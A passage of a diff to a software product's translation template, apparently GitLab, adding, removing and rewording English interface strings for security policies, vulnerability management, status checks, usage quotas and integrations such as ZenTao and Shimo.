msgid "SecurityOrchestration|Security policy project was linked successfully"
msgstr ""
+msgid "SecurityOrchestration|Security policy project was unlinked successfully"
+msgstr ""
+
msgid "SecurityOrchestration|Select a project to store your security policies in. %{linkStart}More information.%{linkEnd}"
msgstr ""
@@ -30544,6 +31076,12 @@ msgstr ""
msgid "SecurityOrchestration|To widen your search, change filters above or select a different security policy project."
msgstr ""
+msgid "SecurityOrchestration|Unlink project"
+msgstr ""
+
+msgid "SecurityOrchestration|Unlinking a security project removes all policies stored in the linked security project. Save to confirm this action."
+msgstr ""
+
msgid "SecurityOrchestration|Update scan execution policies"
msgstr ""
@@ -30763,7 +31301,7 @@ msgstr ""
msgid "SecurityReports|Take survey"
msgstr ""
-msgid "SecurityReports|The Vulnerability Report shows the results of the lastest successful pipeline on your project's default branch, as well as vulnerabilities from your latest container scan. %{linkStart}Learn more.%{linkEnd}"
+msgid "SecurityReports|The Vulnerability Report shows the results of the latest successful pipeline on your project's default branch, as well as vulnerabilities from your latest container scan. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
msgid "SecurityReports|The security reports below contain one or more vulnerability findings that could not be parsed and were not recorded. Download the artifacts in the job output to investigate. Ensure any security report created conforms to the relevant %{helpPageLinkStart}JSON schema%{helpPageLinkEnd}."
@@ -30796,6 +31334,9 @@ msgstr ""
msgid "SecurityReports|There was an error while generating the report."
msgstr ""
+msgid "SecurityReports|These vulnerabilities were detected in external sources. They are not necessarily tied to your GitLab project. For example, running containers, URLs, and so on."
+msgstr ""
+
msgid "SecurityReports|To widen your search, change or remove filters above"
msgstr ""
@@ -30934,6 +31475,9 @@ msgstr ""
msgid "Select assignee"
msgstr ""
+msgid "Select assignee(s)"
+msgstr ""
+
msgid "Select branch"
msgstr ""
@@ -31138,9 +31682,6 @@ msgstr ""
msgid "Sep"
msgstr ""
-msgid "Separate topics with commas."
-msgstr ""
-
msgid "September"
msgstr ""
@@ -31240,7 +31781,16 @@ msgstr ""
msgid "Service"
msgstr ""
-msgid "Service Accounts keys are required to authorize GitLab to deploy your Google Cloud project."
+msgid "Service Account"
+msgstr ""
+
+msgid "Service Account Key"
+msgstr ""
+
+msgid "Service Accounts"
+msgstr ""
+
+msgid "Service Accounts keys authorize GitLab to deploy your Google Cloud project"
msgstr ""
msgid "Service Desk"
@@ -31252,6 +31802,9 @@ msgstr ""
msgid "Service URL"
msgstr ""
+msgid "Service account generated successfully"
+msgstr ""
+
msgid "Service ping is disabled in your configuration file, and cannot be enabled through this form."
msgstr ""
@@ -31297,6 +31850,9 @@ msgstr ""
msgid "ServicePing|Turn on service ping to review instance-level analytics."
msgstr ""
+msgid "Services"
+msgstr ""
+
msgid "Session ID"
msgstr ""
@@ -31378,6 +31934,9 @@ msgstr ""
msgid "Set the iteration to %{iteration_reference}."
msgstr ""
+msgid "Set the maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
+msgstr ""
+
msgid "Set the maximum session time for a web terminal."
msgstr ""
@@ -31435,9 +31994,6 @@ msgstr ""
msgid "Set what should be replicated by this secondary site."
msgstr ""
-msgid "SetPasswordToCloneLink|set a password"
-msgstr ""
-
msgid "SetStatusModal|Add status emoji"
msgstr ""
@@ -31512,9 +32068,6 @@ msgid_plural "Settings saved successfully"
msgstr[0] ""
msgstr[1] ""
-msgid "Setting this to 0 means using the system default timeout value."
-msgstr ""
-
msgid "Settings"
msgstr ""
@@ -31581,6 +32134,27 @@ msgstr ""
msgid "Sherlock Transactions"
msgstr ""
+msgid "Shimo|Go to Shimo Workspace"
+msgstr ""
+
+msgid "Shimo|Link to a Shimo Workspace from the sidebar."
+msgstr ""
+
+msgid "Shimo|Shimo"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace URL"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace integration is enabled"
+msgstr ""
+
+msgid "Shimo|You've enabled the Shimo Workspace integration. You can view your wiki directly in Shimo."
+msgstr ""
+
msgid "Should you ever lose your phone or access to your one time password secret, each of these recovery codes can be used one time each to regain access to your account. Please save them in a safe place, or you %{boldStart}will%{boldEnd} lose access to your account."
msgstr ""
@@ -31596,6 +32170,9 @@ msgstr ""
msgid "Show all activity"
msgstr ""
+msgid "Show all breadcrumbs"
+msgstr ""
+
msgid "Show all issues."
msgstr ""
@@ -31644,18 +32221,9 @@ msgstr ""
msgid "Show list"
msgstr ""
-msgid "Show me how to add a pipeline"
-msgstr ""
-
msgid "Show one file at a time"
msgstr ""
-msgid "Show parent pages"
-msgstr ""
-
-msgid "Show parent subgroups"
-msgstr ""
-
msgid "Show the Closed list"
msgstr ""
@@ -32020,6 +32588,12 @@ msgstr ""
msgid "Something went wrong trying to change the locked state of this %{issuableDisplayName}"
msgstr ""
+msgid "Something went wrong trying to load issue contacts."
+msgstr ""
+
+msgid "Something went wrong when creating a work item. Please try again"
+msgstr ""
+
msgid "Something went wrong when reordering designs. Please try again"
msgstr ""
@@ -32104,9 +32678,6 @@ msgstr ""
msgid "Something went wrong while fetching the environments for this merge request. Please try again."
msgstr ""
-msgid "Something went wrong while fetching the package."
-msgstr ""
-
msgid "Something went wrong while fetching the packages list."
msgstr ""
@@ -32383,9 +32954,6 @@ msgstr ""
msgid "Source Branch"
msgstr ""
-msgid "Source Editor instance is required to set up an extension."
-msgstr ""
-
msgid "Source IP"
msgstr ""
@@ -32404,6 +32972,33 @@ msgstr ""
msgid "Source project cannot be found."
msgstr ""
+msgid "SourceEditor|\"el\" parameter is required for createInstance()"
+msgstr ""
+
+msgid "SourceEditor|%{name} is not registered."
+msgstr ""
+
+msgid "SourceEditor|Extension definition should be either a class or a function"
+msgstr ""
+
+msgid "SourceEditor|Extension definition should be either class, function, or an Array of definitions."
+msgstr ""
+
+msgid "SourceEditor|Extensions Store is required to check for an extension."
+msgstr ""
+
+msgid "SourceEditor|Name conflict for \"%{prop}()\" method."
+msgstr ""
+
+msgid "SourceEditor|No extension for unuse has been specified."
+msgstr ""
+
+msgid "SourceEditor|Source Editor instance is required to set up an extension."
+msgstr ""
+
+msgid "SourceEditor|`definition` property is expected on the extension."
+msgstr ""
+
msgid "Sourcegraph"
msgstr ""
@@ -32557,9 +33152,6 @@ msgstr ""
msgid "Start a review"
msgstr ""
-msgid "Start and due date"
-msgstr ""
-
msgid "Start by choosing a group to start exploring the merge requests in that group. You can then proceed to filter by projects, labels, milestones and authors."
msgstr ""
@@ -32704,6 +33296,9 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
+msgid "StatusCheck|%{failed} failed"
+msgstr ""
+
msgid "StatusCheck|%{pending} pending"
msgstr ""
@@ -32725,7 +33320,7 @@ msgstr ""
msgid "StatusCheck|Apply this status check to all branches or a specific protected branch."
msgstr ""
-msgid "StatusCheck|Check for a status response in Merge Requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
+msgid "StatusCheck|Check for a status response in merge requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
msgstr ""
msgid "StatusCheck|Examples: QA, Security."
@@ -32734,6 +33329,9 @@ msgstr ""
msgid "StatusCheck|External API is already in use by another status check."
msgstr ""
+msgid "StatusCheck|Failed to load status checks"
+msgstr ""
+
msgid "StatusCheck|Failed to load status checks."
msgstr ""
@@ -32755,6 +33353,12 @@ msgstr ""
msgid "StatusCheck|Status checks"
msgstr ""
+msgid "StatusCheck|Status checks all passed"
+msgstr ""
+
+msgid "StatusCheck|Status checks are being fetched"
+msgstr ""
+
msgid "StatusCheck|Status to check"
msgstr ""
@@ -32770,6 +33374,9 @@ msgstr ""
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
+msgid "StatusCheck|status checks"
+msgstr ""
+
msgid "StatusPage|AWS %{docsLink}"
msgstr ""
@@ -33755,10 +34362,10 @@ msgstr ""
msgid "Terraform|Terraform init command"
msgstr ""
-msgid "Terraform|The report %{name} failed to generate."
+msgid "Terraform|The job %{name} failed to generate a report."
msgstr ""
-msgid "Terraform|The report %{name} was generated in your pipelines."
+msgid "Terraform|The job %{name} generated a report."
msgstr ""
msgid "Terraform|To get access to this terraform state from your local computer, run the following command at the command line. The first line requires a personal access token with API read and write access. %{linkStart}How do I create a personal access token?%{linkEnd}."
@@ -34013,7 +34620,7 @@ msgstr ""
msgid "The URL should start with http:// or https://"
msgstr ""
-msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
+msgid "The URLs for connecting to Elasticsearch. For clustering, add the URLs separated by commas."
msgstr ""
msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
@@ -34049,7 +34656,10 @@ msgstr ""
msgid "The connection will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
-msgid "The contact does not belong to the same group as the issue."
+msgid "The contact does not belong to the same group as the issue"
+msgstr ""
+
+msgid "The content editor may change the markdown formatting style of the document, which may not match your original markdown style."
msgstr ""
msgid "The content of this page is not encoded in UTF-8. Edits can only be made via the Git repository."
@@ -34255,9 +34865,6 @@ msgstr ""
msgid "The maximum number of pipeline minutes that a group can use on shared runners per month. 0 for unlimited."
msgstr ""
-msgid "The maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
-msgstr ""
-
msgid "The maximum number of tags that a single worker accepts for cleanup. If the number of tags goes above this limit, the list of tags to delete is truncated to this number. To remove this limit, set it to 0."
msgstr ""
@@ -34390,9 +34997,6 @@ msgstr ""
msgid "The snippet is visible to any logged in user except external users."
msgstr ""
-msgid "The source branch will be deleted"
-msgstr ""
-
msgid "The specified tab is invalid, please select another"
msgstr ""
@@ -34447,6 +35051,9 @@ msgstr ""
msgid "The vulnerability is no longer detected. Verify the vulnerability has been remediated before changing its status."
msgstr ""
+msgid "There are Advanced Search migrations pending that require indexing to pause. Indexing must remain paused until GitLab completes the migrations."
+msgstr ""
+
msgid "There are currently no events."
msgstr ""
@@ -34543,9 +35150,6 @@ msgstr ""
msgid "There are no variables yet."
msgstr ""
-msgid "There are pending advanced search migrations which require indexing to be paused. Indexing must remain paused until the migrations are completed."
-msgstr ""
-
msgid "There are running deployments on the environment. Please retry later."
msgstr ""
@@ -34558,9 +35162,6 @@ msgstr ""
msgid "There are several size limits in place."
msgstr ""
-msgid "There is a halted Elasticsearch migration"
-msgstr ""
-
msgid "There is already a repository with that name on disk"
msgstr ""
@@ -34936,6 +35537,9 @@ msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
msgstr ""
+msgid "This commit was signed with %{strong_open}multiple%{strong_close} signatures."
+msgstr ""
+
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
@@ -34954,12 +35558,6 @@ msgstr ""
msgid "This credential has expired"
msgstr ""
-msgid "This date is after the due date, so this epic won't appear in the roadmap."
-msgstr ""
-
-msgid "This date is before the start date, so this epic won't appear in the roadmap."
-msgstr ""
-
msgid "This device has already been registered with us."
msgstr ""
@@ -35008,6 +35606,12 @@ msgstr ""
msgid "This field is required."
msgstr ""
+msgid "This file was modified for readability, and can't accept suggestions. Edit it directly."
+msgstr ""
+
+msgid "This forked project has the following:"
+msgstr ""
+
msgid "This form is disabled in preview"
msgstr ""
@@ -35062,12 +35666,15 @@ msgstr ""
msgid "This is a private email address %{helpIcon} generated just for you. Anyone who has it can create issues or merge requests as if they were you. If that happens, %{resetLinkStart}reset this token%{resetLinkEnd}."
msgstr ""
-msgid "This is a security log of important events involving your account."
+msgid "This is a security log of authentication events involving your account."
msgstr ""
msgid "This is a self-managed instance of GitLab."
msgstr ""
+msgid "This is an experimental feature developed by GitLab Incubation Engineering."
+msgstr ""
+
msgid "This is the highest peak of users on your installation since the license started."
msgstr ""
@@ -35077,6 +35684,9 @@ msgstr ""
msgid "This is your current session"
msgstr ""
+msgid "This issue is confidential and should only be visible to team members with at least Reporter access."
+msgstr ""
+
msgid "This issue is currently blocked by the following issues:"
msgstr ""
@@ -35212,9 +35822,6 @@ msgstr ""
msgid "This merge request is locked."
msgstr ""
-msgid "This merge request is still a draft."
-msgstr ""
-
msgid "This merge request was merged. To apply this suggestion, edit this file directly."
msgstr ""
@@ -35257,6 +35864,9 @@ msgstr ""
msgid "This project has no active access tokens."
msgstr ""
+msgid "This project is %{strongStart}NOT%{strongEnd} a fork, and has the following:"
+msgstr ""
+
msgid "This project is archived and cannot be commented on."
msgstr ""
@@ -35356,7 +35966,7 @@ msgstr ""
msgid "Thread to reply to cannot be found"
msgstr ""
-msgid "Threat Monitoring"
+msgid "Threat monitoring"
msgstr ""
msgid "ThreatMonitoring|Alert Details"
@@ -35900,6 +36510,9 @@ msgstr ""
msgid "To see this project's operational details, contact an owner of group %{groupName} to upgrade the plan. You can also remove the project from the dashboard."
msgstr ""
+msgid "To see what's changed or create a merge request, choose a branch or tag (like %{branch}), or enter a commit (like %{sha})."
+msgstr ""
+
msgid "To set up SAML authentication for your group through an identity provider like Azure, Okta, Onelogin, Ping Identity, or your custom SAML 2.0 provider:"
msgstr ""
@@ -35924,6 +36537,9 @@ msgstr ""
msgid "To use the additional formats, you must start the required %{container_link_start}companion containers%{container_link_end}."
msgstr ""
+msgid "To use the system's default, set this value to 0."
+msgstr ""
+
msgid "To view all %{scannedResourcesCount} scanned URLs, %{linkStart}please download the CSV file%{linkEnd}"
msgstr ""
@@ -36029,10 +36645,10 @@ msgstr ""
msgid "Too many changes to show."
msgstr ""
-msgid "Too many namespaces enabled. You will need to manage them via the console or the API."
+msgid "Too many namespaces enabled. Manage them through the console or the API."
msgstr ""
-msgid "Too many projects enabled. You will need to manage them via the console or the API."
+msgid "Too many projects enabled. Manage them through the console or the API."
msgstr ""
msgid "TopNav|Go back"
@@ -36053,9 +36669,6 @@ msgstr ""
msgid "Topics"
msgstr ""
-msgid "Topics (optional)"
-msgstr ""
-
msgid "Total"
msgstr ""
@@ -36116,6 +36729,9 @@ msgstr ""
msgid "Track your GitLab projects with GitLab for Slack."
msgstr ""
+msgid "Training mode"
+msgstr ""
+
msgid "Transfer"
msgstr ""
@@ -36286,7 +36902,7 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
-msgid "Trigger cluster reindexing. This feature should be used with an index that was created after 13.0."
+msgid "Trigger cluster reindexing. Only use this with an index that was created in GitLab 13.0 or later."
msgstr ""
msgid "Trigger manual job"
@@ -36343,6 +36959,12 @@ msgstr ""
msgid "Try grouping with different labels"
msgstr ""
+msgid "Try out GitLab Pipelines"
+msgstr ""
+
+msgid "Try the troubleshooting steps here."
+msgstr ""
+
msgid "Try to fork again"
msgstr ""
@@ -36541,9 +37163,6 @@ msgstr ""
msgid "Unable to load the merge request widget. Try reloading the page."
msgstr ""
-msgid "Unable to save cadence. Please try again"
-msgstr ""
-
msgid "Unable to save iteration. Please try again"
msgstr ""
@@ -36649,6 +37268,9 @@ msgstr ""
msgid "Unknown response text"
msgstr ""
+msgid "Unknown screen"
+msgstr ""
+
msgid "Unknown user"
msgstr ""
@@ -36733,9 +37355,6 @@ msgstr ""
msgid "Unsupported todo type passed. Supported todo types are: %{todo_types}"
msgstr ""
-msgid "Until"
-msgstr ""
-
msgid "Until revoked, expired personal access tokens pose a security risk."
msgstr ""
@@ -36844,6 +37463,9 @@ msgstr ""
msgid "Updating"
msgstr ""
+msgid "Updating the attention request for %{username} failed."
+msgstr ""
+
msgid "Updating…"
msgstr ""
@@ -36886,6 +37508,9 @@ msgstr ""
msgid "Upload license"
msgstr ""
+msgid "Upload new file"
+msgstr ""
+
msgid "Upload object map"
msgstr ""
@@ -36895,9 +37520,6 @@ msgstr ""
msgid "Uploading changes to terminal"
msgstr ""
-msgid "Uploads"
-msgstr ""
-
msgid "Upon performing this action, the contents of this group, its subgroup and projects will be permanently deleted after %{deletion_adjourned_period} days on %{date}. Until that time:"
msgstr ""
@@ -36910,9 +37532,6 @@ msgstr ""
msgid "Upvotes"
msgstr ""
-msgid "Usage"
-msgstr ""
-
msgid "Usage Trends"
msgstr ""
@@ -36967,12 +37586,6 @@ msgstr ""
msgid "UsageQuota|Increase storage temporarily"
msgstr ""
-msgid "UsageQuota|LFS Objects"
-msgstr ""
-
-msgid "UsageQuota|LFS Storage"
-msgstr ""
-
msgid "UsageQuota|LFS storage"
msgstr ""
@@ -36982,9 +37595,15 @@ msgstr ""
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
+msgid "UsageQuota|No CI minutes usage data available."
+msgstr ""
+
msgid "UsageQuota|Packages"
msgstr ""
+msgid "UsageQuota|Pending Members"
+msgstr ""
+
msgid "UsageQuota|Pipeline artifacts and job artifacts, created with CI/CD."
msgstr ""
@@ -36997,9 +37616,6 @@ msgstr ""
msgid "UsageQuota|Purchased storage available"
msgstr ""
-msgid "UsageQuota|Repositories"
-msgstr ""
-
msgid "UsageQuota|Repository"
msgstr ""
@@ -37033,18 +37649,6 @@ msgstr ""
msgid "UsageQuota|This namespace has no projects which use shared runners"
msgstr ""
-msgid "UsageQuota|This project is at risk of being locked because purchased storage is running low."
-msgstr ""
-
-msgid "UsageQuota|This project is locked because it is using %{actualRepositorySizeLimit} of free storage and there is no purchased storage available."
-msgstr ""
-
-msgid "UsageQuota|This project is locked because it used %{actualRepositorySizeLimit} of free storage and all the purchased storage."
-msgstr ""
-
-msgid "UsageQuota|This project is near the free %{actualRepositorySizeLimit} limit and at risk of being locked."
-msgstr ""
-
msgid "UsageQuota|Total excess storage used"
msgstr ""
@@ -37090,9 +37694,6 @@ msgstr ""
msgid "UsageQuota|Wiki content."
msgstr ""
-msgid "UsageQuota|Wikis"
-msgstr ""
-
msgid "UsageQuota|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{actualRepositorySizeLimit} limit."
msgstr ""
@@ -37285,9 +37886,6 @@ msgstr ""
msgid "Used programming language"
msgstr ""
-msgid "Used to calculate the number of slices during reindexing. The multiplier will be applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
-msgstr ""
-
msgid "Used to help configure your identity provider"
msgstr ""
@@ -37591,9 +38189,6 @@ msgstr ""
msgid "Username"
msgstr ""
-msgid "Username (for password-protected Elasticsearch servers)"
-msgstr ""
-
msgid "Username (optional)"
msgstr ""
@@ -37819,6 +38414,18 @@ msgstr ""
msgid "Verification status"
msgstr ""
+msgid "VerificationReminder|Pipeline failing? To keep GitLab spam and abuse free we ask that you verify your identity with a valid payment method."
+msgstr ""
+
+msgid "VerificationReminder|Until then, free pipeline minutes on shared runners are unavailable. %{validateLinkStart}Validate your account%{validateLinkEnd} or %{docsLinkStart}use your own runners%{docsLinkEnd}."
+msgstr ""
+
+msgid "VerificationReminder|Your account has been validated."
+msgstr ""
+
+msgid "VerificationReminder|You’ll now be able to take advantage of free pipeline minutes on shared runners."
+msgstr ""
+
msgid "Verified"
msgstr ""
@@ -37843,6 +38450,9 @@ msgstr ""
msgid "View Documentation"
msgstr ""
+msgid "View Stage: %{title}"
+msgstr ""
+
msgid "View alert details at"
msgstr ""
@@ -37940,6 +38550,9 @@ msgstr ""
msgid "View merge request"
msgstr ""
+msgid "View milestones"
+msgstr ""
+
msgid "View on %{url}"
msgstr ""
@@ -38050,6 +38663,9 @@ msgstr ""
msgid "Vulnerability remediated. Review before resolving."
msgstr ""
+msgid "Vulnerability report"
+msgstr ""
+
msgid "Vulnerability resolved in %{branch}"
msgstr ""
@@ -38062,9 +38678,6 @@ msgstr ""
msgid "VulnerabilityChart|Severity"
msgstr ""
-msgid "VulnerabilityManagement, Fetching linked Jira issues"
-msgstr ""
-
msgid "VulnerabilityManagement|%{statusStart}Confirmed%{statusEnd} %{timeago} by %{user}"
msgstr ""
@@ -38080,6 +38693,9 @@ msgstr ""
msgid "VulnerabilityManagement|A true-positive and will fix"
msgstr ""
+msgid "VulnerabilityManagement|Add vulnerability finding"
+msgstr ""
+
msgid "VulnerabilityManagement|Change status"
msgstr ""
@@ -38089,7 +38705,10 @@ msgstr ""
msgid "VulnerabilityManagement|Create Jira issue"
msgstr ""
-msgid "VulnerabilityManagement|Detected"
+msgid "VulnerabilityManagement|Fetching linked Jira issues"
+msgstr ""
+
+msgid "VulnerabilityManagement|Manually add a vulnerability entry into the vulnerability report."
msgstr ""
msgid "VulnerabilityManagement|Needs triage"
@@ -38101,6 +38720,9 @@ msgstr ""
msgid "VulnerabilityManagement|Related Jira issues"
msgstr ""
+msgid "VulnerabilityManagement|Requires assessment"
+msgstr ""
+
msgid "VulnerabilityManagement|Something went wrong while trying to delete the comment. Please try again later."
msgstr ""
@@ -38125,9 +38747,15 @@ msgstr ""
msgid "VulnerabilityManagement|Something went wrong, could not update vulnerability state."
msgstr ""
+msgid "VulnerabilityManagement|Summary, detailed description, steps to reproduce, etc."
+msgstr ""
+
msgid "VulnerabilityManagement|Verified as fixed or mitigated"
msgstr ""
+msgid "VulnerabilityManagement|Vulnerability name or type. Ex: Cross-site scripting"
+msgstr ""
+
msgid "VulnerabilityManagement|Will not fix or a false-positive"
msgstr ""
@@ -38140,10 +38768,10 @@ msgstr ""
msgid "VulnerabilityStatusTypes|Confirmed"
msgstr ""
-msgid "VulnerabilityStatusTypes|Detected"
+msgid "VulnerabilityStatusTypes|Dismissed"
msgstr ""
-msgid "VulnerabilityStatusTypes|Dismissed"
+msgid "VulnerabilityStatusTypes|Needs triage"
msgstr ""
msgid "VulnerabilityStatusTypes|Resolved"
@@ -38317,7 +38945,7 @@ msgstr ""
msgid "We heard back from your device. You have been authenticated."
msgstr ""
-msgid "We love speaking to our users. Got more to say about your GitLab experiences?"
+msgid "We invite you to %{featureLinkStart}request a feature%{featureLinkEnd}, %{bugLinkStart}report a bug%{bugLinkEnd} or %{feedbackLinkStart}share feedback%{feedbackLinkEnd}"
msgstr ""
msgid "We recommend cloud-based mobile authenticator apps such as Authy, Duo Mobile, and LastPass. They can restore access if you lose your hardware device."
@@ -38623,6 +39251,9 @@ msgstr ""
msgid "When a runner is locked, it cannot be assigned to other projects"
msgstr ""
+msgid "When enabled, SSH keys with no expiry date or an invalid expiration date are no longer accepted. Leave blank for no limit."
+msgstr ""
+
msgid "When enabled, existing personal access tokens may be revoked. Leave blank for no limit."
msgstr ""
@@ -38635,7 +39266,7 @@ msgstr ""
msgid "When merge requests and commits in the default branch close, any issues they reference also close."
msgstr ""
-msgid "When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals."
+msgid "When paused, GitLab still tracks the changes. This is useful for cluster/index migrations."
msgstr ""
msgid "When this merge request is accepted"
@@ -38808,6 +39439,12 @@ msgstr ""
msgid "WikiPage|Create page"
msgstr ""
+msgid "WikiPage|Edit rich text"
+msgstr ""
+
+msgid "WikiPage|Edit source"
+msgstr ""
+
msgid "WikiPage|Format"
msgstr ""
@@ -38817,7 +39454,7 @@ msgstr ""
msgid "WikiPage|Keep editing"
msgstr ""
-msgid "WikiPage|More Information."
+msgid "WikiPage|Learn more."
msgstr ""
msgid "WikiPage|Page title"
@@ -38931,6 +39568,9 @@ msgstr ""
msgid "Work in progress Limit"
msgstr ""
+msgid "Work in progress- click here to find out more"
+msgstr ""
+
msgid "WorkItem|Work Items"
msgstr ""
@@ -39204,13 +39844,10 @@ msgstr ""
msgid "You can only %{action} files when you are on a branch"
msgstr ""
-msgid "You can only edit files when you are on a branch"
+msgid "You can only add up to %{max_contacts} contacts at one time"
msgstr ""
-msgid "You can only merge once the items above are resolved."
-msgstr ""
-
-msgid "You can only merge once this merge request is approved."
+msgid "You can only edit files when you are on a branch"
msgstr ""
msgid "You can only transfer the project to namespaces you manage."
@@ -39246,6 +39883,9 @@ msgstr ""
msgid "You cannot access the raw file. Please wait a minute."
msgstr ""
+msgid "You cannot combine replace_ids with add_ids or remove_ids"
+msgstr ""
+
msgid "You cannot impersonate a blocked user"
msgstr ""
@@ -39276,12 +39916,18 @@ msgstr ""
msgid "You could not create a new trigger."
msgstr ""
+msgid "You do not have any Google Cloud projects. Please create a Google Cloud project and then reload this page."
+msgstr ""
+
msgid "You do not have any subscriptions yet"
msgstr ""
msgid "You do not have permission to access dora metrics."
msgstr ""
+msgid "You do not have permission to approve a member"
+msgstr ""
+
msgid "You do not have permission to leave this %{namespaceType}."
msgstr ""
@@ -39333,6 +39979,11 @@ msgstr ""
msgid "You don’t have access to Value Stream Analytics for this group"
msgstr ""
+msgid "You have %{pendingMembersCount} pending member that needs approval."
+msgid_plural "You have %{pendingMembersCount} pending members that need approval."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
msgstr ""
@@ -39381,6 +40032,9 @@ msgstr ""
msgid "You have insufficient permissions to remove this HTTP integration"
msgstr ""
+msgid "You have insufficient permissions to set customer relations contacts for this issue"
+msgstr ""
+
msgid "You have insufficient permissions to update an on-call schedule for this project"
msgstr ""
@@ -39516,9 +40170,6 @@ msgstr ""
msgid "You won't be able to create new projects because you have reached your project limit."
msgstr ""
-msgid "You won't be able to pull or push repositories via %{protocol} until you %{set_password_link} on your account"
-msgstr ""
-
msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quarterly or annual basis, depending on the terms of your agreement."
msgstr ""
@@ -39603,7 +40254,7 @@ msgstr ""
msgid "Your CSV import for project"
msgstr ""
-msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. Use it to view how you compare with other organizations."
+msgid "Your DevOps Reports give an overview of how you are using GitLab from a feature perspective. Use them to view how you compare with other organizations, and how your teams compare against each other."
msgstr ""
msgid "Your GPG keys (%{count})"
@@ -39669,6 +40320,12 @@ msgstr ""
msgid "Your account has been deactivated. You will not be able to: "
msgstr ""
+msgid "Your account is authenticated with SSO or SAML. To %{push_pull_link_start}push and pull%{link_end} over %{protocol} with Git using this account, you must %{set_password_link_start}set a password%{link_end} or %{set_up_pat_link_start}set up a Personal Access Token%{link_end} to use instead of a password. For more information, see %{clone_with_https_link_start}Clone with HTTPS%{link_end}."
+msgstr ""
+
+msgid "Your account is authenticated with SSO or SAML. To %{push_pull_link_start}push and pull%{link_end} over %{protocol} with Git using this account, you must %{set_up_pat_link_start}set up a Personal Access Token%{link_end} to use instead of a password. For more information, see %{clone_with_https_link_start}Clone with HTTPS%{link_end}."
+msgstr ""
+
msgid "Your account is locked."
msgstr ""
@@ -39861,6 +40518,9 @@ msgstr ""
msgid "Your sign-in page is %{url}."
msgstr ""
+msgid "Your snippets"
+msgstr ""
+
msgid "Your subscription expired!"
msgstr ""
@@ -39875,15 +40535,9 @@ msgstr ""
msgid "ZenTaoIntegration|Failed to load ZenTao issue. View the issue in ZenTao, or reload the page."
msgstr ""
-msgid "ZenTaoIntegration|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}ZenTao%{linkEnd}."
-msgstr ""
-
msgid "ZenTaoIntegration|This is a ZenTao user."
msgstr ""
-msgid "ZenTaoIntegration|This issue is synchronized with ZenTao"
-msgstr ""
-
msgid "ZenTaoIntegration|ZenTao user"
msgstr ""
@@ -39893,6 +40547,9 @@ msgstr ""
msgid "ZentaoIntegration|Base URL of the ZenTao instance."
msgstr ""
+msgid "ZentaoIntegration|Before you enable this integration, you must configure ZenTao. For more details, read the %{link_start}ZenTao integration documentation%{link_end}."
+msgstr ""
+
msgid "ZentaoIntegration|Enter new ZenTao API token"
msgstr ""
@@ -39958,9 +40615,6 @@ msgstr ""
msgid "added"
msgstr ""
-msgid "added %{created_at_timeago}"
-msgstr ""
-
msgid "added %{emails}"
msgstr ""
@@ -40056,6 +40710,9 @@ msgstr ""
msgid "can't be nil"
msgstr ""
+msgid "can't be solely blank"
+msgstr ""
+
msgid "can't be the same as the source project"
msgstr ""
@@ -40089,9 +40746,6 @@ msgstr ""
msgid "cannot be enabled until a valid credit card is on file"
msgstr ""
-msgid "cannot be modified"
-msgstr ""
-
msgid "cannot be used for user namespace"
msgstr ""
@@ -40262,6 +40916,9 @@ msgstr ""
msgid "ciReport|Failed to load %{reportName} report"
msgstr ""
+msgid "ciReport|Failed to load Code Quality report"
+msgstr ""
+
msgid "ciReport|Fixed"
msgstr ""
@@ -40271,6 +40928,9 @@ msgstr ""
msgid "ciReport|Found %{issuesWithCount}"
msgstr ""
+msgid "ciReport|IaC Scanning"
+msgstr ""
+
msgid "ciReport|Investigate this vulnerability by creating an issue"
msgstr ""
@@ -40294,6 +40954,9 @@ msgstr ""
msgid "ciReport|Loading %{reportName} report"
msgstr ""
+msgid "ciReport|Loading Code Quality report"
+msgstr ""
+
msgid "ciReport|Manage licenses"
msgstr ""
@@ -40330,6 +40993,9 @@ msgstr ""
msgid "ciReport|Security scanning failed loading any results"
msgstr ""
+msgid "ciReport|Showing %{fetchedItems} of %{totalItems} items"
+msgstr ""
+
msgid "ciReport|Solution"
msgstr ""
@@ -40700,21 +41366,9 @@ msgstr ""
msgid "in"
msgstr ""
-msgid "in Infrastructure :: Kubernetes clusters"
-msgstr ""
-
-msgid "in all GitLab"
-msgstr ""
-
-msgid "in group"
-msgstr ""
-
msgid "in group %{link_to_group}"
msgstr ""
-msgid "in project"
-msgstr ""
-
msgid "in project %{link_to_project}"
msgstr ""
@@ -40867,9 +41521,6 @@ msgstr ""
msgid "log in"
msgstr ""
-msgid "managed"
-msgstr ""
-
msgid "manual"
msgstr ""
@@ -40899,13 +41550,13 @@ msgstr ""
msgid "most recent deployment"
msgstr ""
-msgid "mrWidgetCommitsAdded|%{commitCount} and %{mergeCommitCount} will be added to %{targetBranch}."
